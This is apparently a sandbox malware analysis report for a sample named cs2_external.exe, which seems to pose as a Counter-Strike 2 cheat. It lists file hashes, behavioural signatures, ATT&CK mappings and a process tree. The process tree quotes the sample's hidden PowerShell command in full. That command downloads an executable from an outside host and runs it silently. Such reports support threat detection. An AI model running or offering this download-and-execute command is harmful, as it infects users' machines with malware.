d11159acca8d1917526ee10de5075860bf9ad8eae05474e8eef05e8e5fe23048

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/04/2026, 16:18

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General

Target
cs2_external.exe
Size 7.1MB
Sample260428-tr3spsfv2m
SHA256 d11159acca8d1917526ee10de5075860bf9ad8eae05474e8eef05e8e5fe23048
MD5 e19834cf30059fea894668bc5b832a37
SHA1 2e36d969002a13210cd2eda31adb68366ec1355f
SHA512 5ce64452892b52242c671b1f04444c8e5287695a2160a4fe5c782290237cf90d9b1d113582dd1fc85eaf854de0055f6e8559f600217a723b0d66439ebdd343a9
SSDEEP 98304:qlbWu1Z9xC6eBdZx6Rs0YYMGrXhshgDReM7p9gA:uWZ5d7tWeEReqTgA
TLSH
T1E876E152E2AA81C9C93FA07C9653A707E73030052B1547CF37ED1A599F27EE45EBAB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1276	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1276	powershell.exe
1276	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4176	cs2_external.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1276	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4176	cs2_external.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 4684	4176	cs2_external.exe	80
PID 4684 wrote to memory of 3704	4684	cmd.exe	82
PID 3704 wrote to memory of 1276	3704	cmd.exe	84

C:\Users\Admin\AppData\Local\Temp\cs2_external.exe
"C:\Users\Admin\AppData\Local\Temp\cs2_external.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK985406.exe; Start-Process -FilePath $env:TEMP\BK985406.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK985406.exe; Start-Process -FilePath $env:TEMP\BK985406.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK985406.exe; Start-Process -FilePath $env:TEMP\BK985406.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1276

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_qf41lv02.q0u.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qf41lv02.q0u.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1276-0-0x0000018D295E0000-0x0000018D295F0000-memory.dmp

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memory/1276-1-0x0000018D296F0000-0x0000018D29712000-memory.dmp

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memory/1276-8-0x0000018D295E0000-0x0000018D295F0000-memory.dmp

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memory/1276-12-0x0000018D114D0000-0x0000018D114E2000-memory.dmp

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memory/1276-11-0x0000018D0F790000-0x0000018D0F79C000-memory.dmp

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memory/4176-13-0x00000255D88A0000-0x00000255D88AC000-memory.dmp

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